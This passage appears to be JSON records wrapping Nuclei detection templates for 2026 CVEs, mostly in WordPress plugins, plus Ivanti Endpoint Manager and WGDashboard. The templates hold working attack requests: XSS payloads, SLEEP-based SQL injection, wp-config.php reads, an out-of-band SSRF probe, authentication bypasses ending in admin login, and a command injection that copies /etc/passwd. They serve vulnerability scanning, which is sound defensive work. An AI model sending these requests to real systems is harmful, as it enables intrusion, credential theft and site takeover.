/wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1\n        Host: {{Hostname}}\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - '([a-f0-9]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php?action=bitapps_fm_connector&cmd=file&target=l1_d3AtY29uZmlnLnBocA&nonce={{nonce}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        x=1\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/x-php\")'\n          - 'contains_all(body, \"DB_NAME\", \"DB_PASSWORD\")'\n        condition: and\n# digest: 4a0a004730450220343f5f7cb4f30401d83e7c5fe4b76e265f2ae637ffdf746ba921dc597a34b882022100804e93550554efe6b9da8fd45b734bfa667c4784d2b701679f314965178d22d9:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-17540.yaml","vuln_id":"cve-2026-17540"},{"raw":"id: CVE-2026-17532\n\ninfo:\n  name: Seraphinite Accelerator <= 2.29.18 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    The Seraphinite Accelerator plugin for WordPress up to and including 2.29.18 was vulnerable to reflected cross-site scripting through the seraph_accel_prep parameter. CacheExtractPreparePageParams() compared the expected HMAC against the JSON-decoded nonce with PHP's loose != operator, so a JSON boolean true satisfied the comparison and bypassed the signature check, and _CbContentFinishSkip() then concatenated the attacker-controlled selfTest field straight into the response body, letting unauthenticated attackers inject arbitrary scripts.\n  impact: |\n    An unauthenticated attacker could run arbitrary JavaScript in a victim's browser by luring them to a crafted link, leading to session theft or actions performed as the victim.\n  remediation: |\n    Update Seraphinite Accelerator to version 2.29.19 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/seraphinite-accelerator/seraphinite-accelerator-22918-reflected-cross-site-scripting\n    - https://plugins.trac.wordpress.org/browser/seraphinite-accelerator/trunk/common.php\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-17532\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-17532\n    epss-score: 0.00794\n    epss-percentile: 0.56493\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: seraphinite\n    product: seraphinite-accelerator\n    framework: wordpress\n    fofa-query: body=\"seraphinite-accelerator\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,seraphinite,xss\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"seraphinite-accelerator\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /?seraph_accel_prep=eyJub25jZSI6dHJ1ZSwic2VsZlRlc3QiOiI8aW1nIHNyYz14IG9uZXJyb3I9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4ifQ%3D%3D HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"selfTest-<img src=x onerror=alert(document.domain)>\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100dec01aadd0404c363695fe65973c8b2f6a3646efa80b9eeb3634c5028a6b1d81022100ae94e1838516f9504f0365fea511eeda2ea10abf99d5c2c272a760a8db1b8fcf:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-17532.yaml","vuln_id":"cve-2026-17532"},{"raw":"id: CVE-2026-17505\n\ninfo:\n  name: WordPress TranslatePress < 3.2.6 - Cross-Site Scripting\n  author: 0x_Akoko\n  severity: medium\n  description: |\n    TranslatePress plugin < 3.2.6 for WordPress contains a reflected cross-site scripting vulnerability in the translation marker processing feature, letting attackers inject and execute arbitrary JavaScript code, exploit requires no authentication or privileges.\n  impact: |\n    Attackers can execute arbitrary JavaScript in victim browsers, leading to session hijacking and account takeover.\n  remediation: |\n    Update to version 3.2.6 or later of TranslatePress plugin.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-17505\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-17505\n    epss-score: 0.00854\n    epss-percentile: 0.58437\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cozmoslabs\n    product: translatepress-multilingual\n    framework: wordpress\n    shodan-query: http.html:\"translatepress\"\n    fofa-query: body=\"translatepress\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,translatepress,xss\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"translatepress\") || contains(body, \"trp-language-switcher\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: lang\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - 'rel=\"alternate\"\\s+hreflang=\"[a-zA-Z-]+\"\\s+href=\"https?://[^/\"]+/([a-z]{2,3})/\"'\n\n  - raw:\n      - |\n        GET /{{lang}}/?s=%23!trpst%23img%20src=x%20onerror=alert(document.domain)%23!trpen%23 HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '<img src=\"x\" onerror=\"alert(document.domain)\">'\n          - 'search'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502201f048138ed5f60543cc57926706f97b7ca1d1d925b4dad7633d1ea21e17a58b302210090a3f77c008880b4eda148a628a63ede72286112fa9b42d5297a9b4fb0c8d45f:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-17505.yaml","vuln_id":"cve-2026-17505"},{"raw":"id: CVE-2026-16959\n\ninfo:\n  name: WordPress Media Library Assistant < 3.40 - SQL Injection\n  author: anirbala98\n  severity: medium\n  description: |\n    The Media Library Assistant WordPress plugin before 3.40 does not validate a search parameter before concatenating it into a SQL query in one of its media-library query handlers, allowing users with the Author role and above to perform SQL injection.\n  impact: |\n    Authenticated attackers can execute arbitrary SQL commands, potentially leading to information disclosure, data modification or deletion.\n  remediation: |\n    Upgrade to version 3.40 or later.\n  reference:\n    - https://wpscan.com/vulnerability/7b13e3d3-42ee-4fe2-bb47-75bd2273f1b0/\n    - https://wordpress.org/plugins/media-library-assistant/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-16959\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 6.8\n    cve-id: CVE-2026-16959\n    epss-score: 0.01282\n    epss-percentile: 0.70156\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: david-lingren\n    product: media-library-assistant\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/media-library-assistant/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,media-library-assistant,authenticated\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /wp-login.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        log={{username}}&pwd={{password}}&wp-submit=Log+In\n\n    matchers:\n      - type: dsl\n        dsl:\n          - status_code == 302\n          - contains(header, \"wordpress_logged_in\")\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=mla-query-attachments&query[posts_per_page]=10&query[s]=zzqnomatchaaa zzqnomatchbbb&query[mla_search_fields][]=title&query[mla_search_fields][]=content&query[mla_search_connector]= OR SLEEP(8) OR\n\n    matchers:\n      - type: dsl\n        dsl:\n          - duration >= 8\n          - status_code == 200\n          - contains(content_type, \"application/json\")\n        condition: and\n# digest: 4b0a00483046022100f7d29c0286b475bc743fe46d63345857dd55057929ac23b96ce1bd55333fd5ee0221008764d8fc1559ccb433f9d4824097505c9ff3bead0275ac20527b58a42d1bc6fb:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-16959.yaml","vuln_id":"cve-2026-16959"},{"raw":"id: CVE-2026-16535\n\ninfo:\n  name: WordPress Link Library < 7.9.4 - Cross-Site Scripting\n  author: anirbala98\n  severity: medium\n  description: |\n    Link Library WordPress plugin < 7.9.4 contains a reflected XSS caused by unsanitised and unescaped parameter reflected in response, letting unauthenticated attackers execute scripts via user interaction.\n  impact: |\n    Unauthenticated attackers can execute scripts in users' browsers, potentially stealing data or performing actions on their behalf.\n  remediation: |\n    Update to version 7.9.4 or later.\n  reference:\n    - https://wpscan.com/vulnerability/3b6c0efb-c503-437a-8f9b-f8a8c032313c/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-16535\n    - https://wordpress.org/plugins/link-library/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N\n    cvss-score: 6.1\n    cve-id: CVE-2026-16535\n    epss-score: 0.00512\n    epss-percentile: 0.43807\n    cwe-id: CWE-79\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: yannick-lefebvre\n    product: link-library\n    fofa-query: body=\"/wp-content/plugins/link-library/\"\n  tags: cve,cve2026,wordpress,wp-plugin,link-library,xss\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        GET /links/ HTTP/1.1\n        Host: {{Hostname}}\n\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"thumbs_rating_ajax\")'\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'thumbs_rating_ajax = \\{[^}]*\"nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=thumbs_rating_add_vote&nonce={{nonce}}&postid=1&type=1&likelabel=<svg onload=alert(document.domain)>\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(content_type, \"text/html\")'\n          - 'contains(body, \"<svg onload=alert(document.domain)>\")'\n        condition: and\n# digest: 4a0a0047304502201f17c0a4bd4c36b86509c695590675cfe9241fb84f8a2c3ba440b16f0ccbb31b022100e8155af22f180345bb346ae8017130c8535a982e2c25f327d80256a1482caa6b:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-16535.yaml","vuln_id":"cve-2026-16535"},{"raw":"id: CVE-2026-16268\n\ninfo:\n  name: Newsletters < 4.16 - Unauthenticated SSRF via SNS Bounce Handler\n  author: str4k3r\n  severity: medium\n  description: |\n    Newsletters WordPress plugin < 4.16 contains a server-side request forgery caused by lack of authentication and validation in bounce-processing requests, letting unauthenticated attackers make arbitrary requests to internal or external hosts.\n  impact: |\n    Unauthenticated attackers can make the server send requests to arbitrary hosts, potentially leading to internal network scanning or interaction with unintended services.\n  remediation: |\n    Update to version 4.16 or later.\n  reference:\n    - https://wpscan.com/vulnerability/65612dd4-83d8-40c5-8e12-862e9b5f940b/\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-16268\n  classification:\n    cve-id: CVE-2026-16268\n    epss-score: 0.00733\n    epss-percentile: 0.54496\n    cwe-id: CWE-918\n    cvss-score: 5.3\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: newsletters-lite\n    product: newsletters-lite\n    framework: wordpress\n    fofa-query: body=\"/wp-content/plugins/newsletters-lite/\"\n    shodan-query: http.html:\"/wp-content/plugins/newsletters-lite/\"\n  tags: cve,cve2026,wordpress,wp-plugin,newsletters-lite,ssrf,unauth,oast\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/newsletters-lite/readme.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"Newsletters\", \"newsletters\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        POST /?wpmlmethod=bounce&type=sns HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"Type\":\"SubscriptionConfirmation\",\"SubscribeURL\":\"http://{{interactsh-url}}/nuclei-ssrf-probe\",\"Message\":\"{}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(interactsh_protocol, \"http\")'\n        condition: and\n# digest: 490a004630440220698395bf78718c5056e47ad569ce105884d4f5cb20ee1a13334d28cd2aeb07cd02203452c28d6b4667df1a558ceed230cc8fb32f04c72fc8d03300c9ed7b49d70682:922c64590222798bb761d5b6d8e72950","severity":"medium","template_path":"http/cves/2026/CVE-2026-16268.yaml","vuln_id":"cve-2026-16268"},{"raw":"id: CVE-2026-1603\n\ninfo:\n  name: Ivanti Endpoint Manager - Authentication Bypass\n  author: DhiyaneshDk,watchtowrlabs\n  severity: high\n  description: |\n    Ivanti Endpoint Manager < 2024 SU5 contains an authentication bypass caused by improper access control, letting remote unauthenticated attackers leak stored credential data, exploit requires no special privileges.\n  impact: |\n    Remote attackers can leak stored credential data, potentially compromising sensitive information.\n  remediation: |\n    Update to version 2024 SU5 or later.\n  reference:\n    - https://x.com/watchtowrcyber/status/2022305033086235108/photo/1\n    - https://hub.ivanti.com/s/article/Security-Advisory-EPM-February-2026-for-EPM-2024\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1603\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N\n    cvss-score: 8.6\n    cve-id: CVE-2026-1603\n    cwe-id: CWE-288\n    epss-score: 0.88335\n    epss-percentile: 0.9977\n    cpe: cpe:2.3:a:ivanti:endpoint_manager:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 1\n    vendor: ivanti\n    product: endpoint_manager\n  tags: cve,cve2026,api,auth,ivanti,epmm,authbypass,vkev,kev\n\nhttp:\n  - raw:\n      - |\n        POST /RemoteControlAuth/api/Auth HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\n            \"logintype\":\"64\",\n            \"username\":\"administrator\"\n        }\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '\"sessionid\":'\n\n      - type: word\n        part: body\n        words:\n          - '\"sessionid\": null'\n        negative: true\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: json\n        part: body\n        name: sessionid\n        json:\n          - '.sessionid'\n# digest: 490a0046304402201094ac6cb5c7f6fe69f8fafa50fcdadaf22279b772ecd058996d8140dbc35ead0220742e5383080e5b53fb704362f8757758d65da0d0f318560611c19cead825cc9d:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-1603.yaml","vuln_id":"cve-2026-1603"},{"raw":"id: CVE-2026-15826\n\ninfo:\n  name: User Profile Builder 3.16.4 - Unauthenticated Authentication Bypass\n  author: theamanrawat\n  severity: critical\n  description: |\n    The User Profile Builder plugin for WordPress version 3.16.4 is vulnerable to an authentication bypass via type confusion. Profile Builder's automatic-login-after-registration handler passes the return value of wp_insert_user() through absint() before testing it with is_wp_error(), so the error check runs against the already-coerced integer. A registration submitted with a 61-70 character username passes the plugin's own validation but is rejected by WordPress core, because the user_login column is VARCHAR(60), and wp_insert_user() returns a WP_Error object. absint() coerces that object to the integer 1, is_wp_error(1) is false, and the plugin binds a transient-backed autologin nonce to user ID 1. Consuming that nonce calls wp_set_auth_cookie(1) and logs the unauthenticated attacker in as the site's Administrator.\n  impact: |\n    Unauthenticated attackers can log in as the site Administrator (user ID 1), gaining full administrative control including plugin and theme installation, PHP code execution, and complete site compromise.\n  remediation: |\n    Update User Profile Builder to 3.16.5 or later, which performs the is_wp_error() check before coercing the wp_insert_user() return value with absint() and additionally enforces the 60-character username limit server-side.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/9f606fba-f779-42ea-a160-6c3b20dc5e79\n    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/front-end/class-formbuilder.php#L262\n    - https://plugins.trac.wordpress.org/browser/profile-builder/tags/3.16.4/features/functions.php#L1481\n    - https://plugins.trac.wordpress.org/changeset/3609855/profile-builder\n    - https://github.com/HORKimhab/CVE-2026-15826-CVE-2026-15748\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-15826\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-15826\n    epss-score: 0.03904\n    epss-percentile: 0.90305\n    cwe-id: CWE-704\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: cozmoslabs\n    product: profile-builder\n    framework: wordpress\n    shodan-query: http.html:\"/wp-content/plugins/profile-builder/\"\n    fofa-query: body=\"/wp-content/plugins/profile-builder/\"\n    publicwww-query: \"/wp-content/plugins/profile-builder/\"\n  tags: cve,cve2026,wordpress,wp-plugin,wp,profile-builder,auth-bypass,unauth,intrusive,vkev\n\nvariables:\n  username: \"{{rand_base(63,'abcdefghijklmnopqrstuvwxyz')}}\"\n  email: \"{{rand_base(10,'abcdefghijklmnopqrstuvwxyz')}}@{{rand_base(8,'abcdefghijklmnopqrstuvwxyz')}}.com\"\n  password: \"{{rand_base(12,'abcdefghijklmnopqrstuvwxyz0123456789')}}Aa1!\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/wp-content/plugins/profile-builder/readme.txt\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"Profile Builder\")'\n          - 'compare_versions(pb_version, \">= 3.16.4\", \"< 3.16.5\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: pb_version\n        part: body\n        group: 1\n        regex:\n          - '(?i)Stable\\s+tag:\\s*([0-9.]+)'\n        internal: true\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/register/\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"wppb-register-user\")'\n          - 'len(wppb_nonce) > 0'\n          - 'len(form_name) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: form_name\n        part: body\n        group: 1\n        regex:\n          - 'name=\"form_name\"[^>]*value=\"([^\"]*)\"'\n        internal: true\n\n      - type: regex\n        name: wppb_nonce\n        part: body\n        group: 1\n        regex:\n          - 'name=\"register_[^\"]*_nonce_field\"[^>]*value=\"([^\"]+)\"'\n        internal: true\n\n  - raw:\n      - |\n        POST /register/ HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n        Referer: {{RootURL}}/register/\n        Origin: {{RootURL}}\n\n        username={{username}}&email={{email}}&passw1={{password}}&passw2={{password}}&action=register&form_name={{form_name}}&register_{{form_name}}_nonce_field={{wppb_nonce}}&register=Register&_wp_http_referer=%2Fregister%2F\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"autologin=true\")'\n          - 'len(autologin_nonce) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: autologin_nonce\n        part: body\n        group: 1\n        regex:\n          - 'autologin=true(?:&(?:#0?38|amp);)?_wpnonce=([a-f0-9]+)'\n        internal: true\n\n  - raw:\n      - |\n        GET /register/?autologin=true&_wpnonce={{autologin_nonce}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(tolower(all_headers), \"set-cookie: wordpress_logged_in_\")'\n        internal: true\n\n  - raw:\n      - |\n        GET /wp-admin/options-general.php HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: false\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"name=\\\"blogname\\\"\")'\n          - 'contains(body, \"name=\\\"siteurl\\\"\")'\n        condition: and\n# digest: 4b0a00483046022100d3591133acd0fb6c175c29f11eddfdfd85577beee2dd0b7e23bc5821e5b892f7022100b878405c05c7fb4d099a0bae4a56d7e6da8ed16400a13c0bf9b4efa77cecd201:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-15826.yaml","vuln_id":"cve-2026-15826"},{"raw":"id: CVE-2026-1581\n\ninfo:\n  name: wpForo Forum <= 2.4.14 - SQL Injection\n  author: Shivam Kamboj\n  severity: critical\n  description: |\n    wpForo Forum WordPress plugin <= 2.4.14 contains a time-based SQL injection caused by insufficient escaping of the 'wpfob' parameter, letting unauthenticated attackers extract sensitive database information.\n  impact: |\n    Unauthenticated attackers can extract sensitive information from the database, leading to data disclosure.\n  remediation: |\n    Update to the latest version of wpForo Forum plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpforo/wpforo-forum-2414-unauthenticated-time-based-sql-injection\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1581\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-1581\n    epss-score: 0.02507\n    epss-percentile: 0.84796\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 1\n    publicwww-query: \"/wp-content/plugins/wpforo/\"\n  tags: cve,cve2026,wordpress,wp,wp-plugin,sqli,wpforo,unauth,vkev\n\nhttp:\n  - raw:\n      - |\n        @timeout: 20s\n        GET /community/recent/?wpfob=(SELECT/**/1/**/FROM/**/(SELECT/**/SLEEP(8))a) HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'duration >= 8'\n          - 'status_code == 200'\n          - 'contains(body, \"wpforo-wrap\")'\n          - 'contains(content_type, \"text/html\")'\n        condition: and\n# digest: 4a0a00473045022100b46db41cbc37e89fc8d4926ef1faff4f4b278365abebcd57f1ff8bdaa858ac0b02203e00a30661373857bebacc8eab33134cea01017d2ba92e54dd19eb1a992ae314:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-1581.yaml","vuln_id":"cve-2026-1581"},{"raw":"id: CVE-2026-15733\n\ninfo:\n  name: WGDashboard <= 4.3.2 - Authenticated OS Command Injection /etc/passwd Read\n  author: str4k3r,0x_Akoko\n  severity: critical\n  description: |\n    WGDashboard <= 4.2.3 contains a command injection caused by multiple OS command injection points, letting authenticated attackers execute arbitrary commands as root.\n  impact: |\n    Authenticated attackers can execute arbitrary commands as root, leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 4.2.3.\n  reference:\n    - https://github.com/Stuub/WGDashboard-v4.3.2-OS-Command-Injection-to-Root-RCE-PoC\n    - https://github.com/WGDashboard/WGDashboard\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-15733\n  classification:\n    cve-id: CVE-2026-15733\n    epss-score: 0.1002\n    epss-percentile: 0.9563\n    cwe-id: CWE-78\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n  metadata:\n    verified: true\n    max-request: 5\n    product: wgdashboard\n    vendor: wgdashboard\n  tags: cve,cve2026,wgdashboard,rce,cmdi,authenticated,intrusive\n\nvariables:\n  username: \"\"\n  password: \"\"\n  probe: \"{{to_lower(rand_text_alpha(8))}}\"\n\nflow: http(1) && http(2) && http(3) && http(4) && http(5)\n\nhttp:\n  - raw:\n      - |\n        POST /api/authenticate HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"username\":\"{{username}}\",\"password\":\"{{password}}\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"\\\"status\\\":true\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/getWireguardConfigurations HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(config_name) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: config_name\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"Name\":\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/addPeers/{{config_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"name\":\"probe-{{probe}}\",\"allowed_ips\":[],\"preshared_key_bulkAdd\":false}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'len(peer_id) > 0'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: peer_id\n        part: body\n        group: 1\n        internal: true\n        regex:\n          - '\"id\":\"([^\"]+)\"'\n\n  - raw:\n      - |\n        POST /api/updatePeerSettings/{{config_name}} HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"id\":\"{{peer_id}}\",\"name\":\"probe-{{probe}}\",\"private_key\":\"\",\"DNS\":\"1.1.1.1\",\"allowed_ip\":\"10.253.253.253/32;cp${IFS}/etc/passwd${IFS}static/app/dist/{{probe}}.txt;\",\"endpoint_allowed_ip\":\"0.0.0.0/0\",\"preshared_key\":\"\",\"mtu\":1420,\"keepalive\":21,\"notes\":\"\"}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        internal: true\n\n  - raw:\n      - |\n        GET /static/app/dist/{{probe}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"root:\") && contains(body, \":/bin/\")'\n        condition: and\n# digest: 4b0a004830460221008b860e08b3cd7569acbd8b53350399d15afa9e5fac6f8ab76c80e79e18c612f9022100d638153b9f3ddeccbf233fc56609d00dba0bf008eb8781723a64b129edade48c:922c64590222798bb761d5b6d8e72950","severity":"critical","template_path":"http/cves/2026/CVE-2026-15733.yaml","vuln_id":"cve-2026-15733"},{"raw":"id: CVE-2026-1557\n\ninfo:\n  name: WP Responsive Images <= 1.0 - Arbitrary File Read\n  author: Shivam Kamboj\n  severity: high\n  description: |\n    WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.\n  impact: |\n    nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.\n  remediation: |\n    Update to the latest version of WP Responsive Images plugin.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-1557\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2026-1557\n    epss-score: 0.01866\n    epss-percentile: 0.79354\n  metadata:\n    max-request: 1\n    verified: true\n  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,wp-responsive-images,vkev\n\nhttp:\n  - raw:\n      - |\n        GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code==200 || status_code==403'\n          - 'contains_all(body, \"DB_NAME\", \"DB_PASSWORD\")'\n        condition: and\n# digest: 4a0a00473045022015a3dbb3747b40e7e7f5f9644b262ae0ef675d40f8f1b8b268f94bd3107a3437022100aeeb56c2223340fa3abc80c6bccf42e9b8792601dac98a87d00b736f24e5be35:922c64590222798bb761d5b6d8e72950","severity":"high","template_path":"http/cves/2026/CVE-2026-1557.yaml","vuln_id":"cve-2026-1557"},{"raw":"id: CVE-2026-15094\n\ninfo:\n  name: WP Hotel Booking <= 2.3.2 - Cross-Site Scripting\n  author: SmigsBellamigs\n  severity: medium\n  description: |\n    The WP Hotel Booking plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'check_in_date' parameter in all versions up to, and including, 2.3.2 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.\n  impact: |\n    Successful exploitation requires user interaction, but allows unauthenticated attackers to inject arbitrary JavaScript in the context of the victim's session, enabling session hijacking, phishing, or defacement.\n  remediation: |\n    Update the WP Hotel Booking plugin to version 2.3.3 or later.\n  reference:\n    - https://www.wordfence.com/threat-intel/vulnerabilities/id/8139f512-7bc9-45ae-83d7-bf496e1ad56d\n    - https://wpscan.com/vulnerability/0e1602c9-8cf9-47b2-92bb-3ffd93dbe6f5\n    - https://plugins.trac.wordpress.org/browser/wp-hotel-booking/tags/2.3.2/includes/TemplateHooks/ArchiveRoomTemplate.php#L262\n    